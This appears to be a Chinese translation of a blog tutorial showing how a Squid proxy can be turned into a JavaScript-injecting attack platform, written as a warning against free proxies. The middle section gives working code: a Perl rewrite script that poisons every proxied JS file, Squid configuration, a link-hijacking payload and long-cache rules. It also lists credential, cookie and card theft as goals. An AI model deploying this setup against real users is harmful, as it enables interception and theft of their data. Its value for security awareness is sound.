【伯樂線上注】:原文副標題是“因為這是一種輕鬆搞到成千上萬使用者資料的途徑”,作者後來還寫了一篇文章《分析了443個免費代理,其中只有21%沒有黑幕,那麼剩下的79%呢?》。
最近偶然發現, Chema Alonso 在 Defcon 20 會議上談到他如何從頭開始建立一個JavaScript 殭屍網路,然後如何使用它來找到騙子和黑客。
一切都是通過一個 SQUID 代理並修改了些小配置完成的。
這個想法非常簡單:
1.【伺服器】在一臺 linux 伺服器上安裝 Squid
2.【Payload】修改伺服器配置,給所有傳輸的 javascript 檔案插入一些程式碼,這些程式碼的作用就是將使用者資料傳送到你的伺服器上,比如使用者在表單中輸入的所有資料。
3.【快取】將修改過的 js 檔案的快取時間儘可能延長。
可能發生的最壞事情是什麼?
當某人能強迫你載入一個受感染的 JS 檔案, 那他們可以:
- 竊取你訪問的網站的登入資訊(從登入表單中或 cookies)
- 竊取你的銀行賬號或信用卡資訊
- 強迫你參與 DDOS 攻擊,讓你的瀏覽器一秒鐘內載入一個網站幾百次,通過 iframe 或 script(指令碼)來傳送請求。
- 基本你上網做的任何事情都能看到(包括你閱讀時滑鼠的位置)
https
如果你的網站載入了一些不安全的資源(比如從一個 http 站點載入 jquery),那該手法在 https 連結上也能生效。大多數瀏覽器都會提醒你,有些甚至會阻止你訪問不安全的內容,但是沒有人注意到瀏覽器位址列中“鎖”的符號。
舉個例子
在介紹中,Chema 說他將修改過的伺服器 IP 地址釋出到網路上,幾天後就有 5000 多人使用這個代理。大多數使用代理的人都是為了做壞事,因為他們都知道使用了代理在網路上就變成匿名了,似乎許多人都沒有考慮過這個問題:代理同樣也可以對他們做一些壞事。
我在想是不是真的那麼簡單,所以我建了一個執行 Debian(Linux的一個發行版) 的虛擬機器,然後努力實現這些概念。
編寫自己的 js 來感染代理
假設你有一個執行 squid 的代理,同時你還需要一個網站伺服器,如使用 /var/www 為根目錄(預設設定)的 Apache 伺服器。
步驟1:建立一個 payload
我打算用一個簡單的指令碼獲取網頁上所有的連結,然後將 href(連結) 屬性改寫成我的站點。
/etc/squid/payload.js
1 2 |
for(var i=0;i<document.getElementsByTagName('a').length;i++) document.getElementsByTagName('a')[i].href = "https://blog.haschek.at"; |
步驟2:將指令碼注入所有請求的 js 檔案中。
/etc/squid/poison.pl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
#!/usr/bin/perl $|=1; $count = 0; $pid = $$; while(<>) { chomp $_; if($_ =- /(.*.js)/i) { $url = $1; system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url"); system("chmod o+r /var/www/tmp/$pid-$count.js"); system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js"); print "http://127.0.0.1:80/tmp/$pid-$count.jsn"; } else { print "$_n"; } $count++; } |
這個指令碼會用 wget 檢索到客戶端請求的原來的 javascript 檔案,然後將 /etc/squid/payload.js 檔案中的程式碼增加進去。這個修改的檔案(包含我們的有效負載)將被髮送給客戶端。你也可以建立資料夾 /var/www/tmp ,然後允許 squid 在該資料夾中寫入。這個資料夾可以存放所有被修改過的 js 指令碼。
步驟3:告訴 Squid 使用上文中的指令碼
在 /etc/squid/squid.conf 中新增
1 |
url_rewrite_program /etc/squid/poison.pl |
步驟4:讓快取永不過期
/var/www/tmp/.htaccess
1 2 |
ExpiresActive On ExpiresDefault "access plus 3000 days" |
這幾行告訴 apache 伺服器,設定一個瘋狂的過期(快取)時間,所以它會一直存在使用者的瀏覽器中,直到他們清除快取或 cookies。
重啟下 squid 就能執行了。如果你連線到代理上,然後瀏覽網頁,網頁會顯示預期的內容,但是所有的連結會被指向這個部落格。這項技術更猥瑣的是,當你斷開了與代理的連線,從代理快取的 js 檔案仍存在瀏覽的快取中。
在我的例子中 payload 不太具有破壞性,使用者很快就能理解什麼是“釣魚”,但是富有創造性的 payload 或像 Beef 類似的框架就能被用來實現各種各樣的東西。告訴你的朋友們,絕不要使用免費的代理,因為許多代理就做這些壞事情。
安全上網(但不要使用免費的代理)